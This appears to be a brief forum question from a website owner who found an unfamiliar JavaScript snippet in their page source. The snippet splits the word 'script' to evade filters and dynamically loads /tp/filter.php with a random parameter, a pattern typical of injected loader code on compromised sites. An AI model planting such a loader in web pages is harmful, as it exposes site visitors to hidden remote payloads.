I take a look into my source of my website
and i saw this strange java script
<script language="JavaScript">
var d;
d = Math.floor(Math.random () * 10000);
document.write('<s' + 'cri' + 'pt language="JavaScript" src="/tp/filter.php?pro='+ d +'"></sc' + 'ript>');
</script>
whats means this script??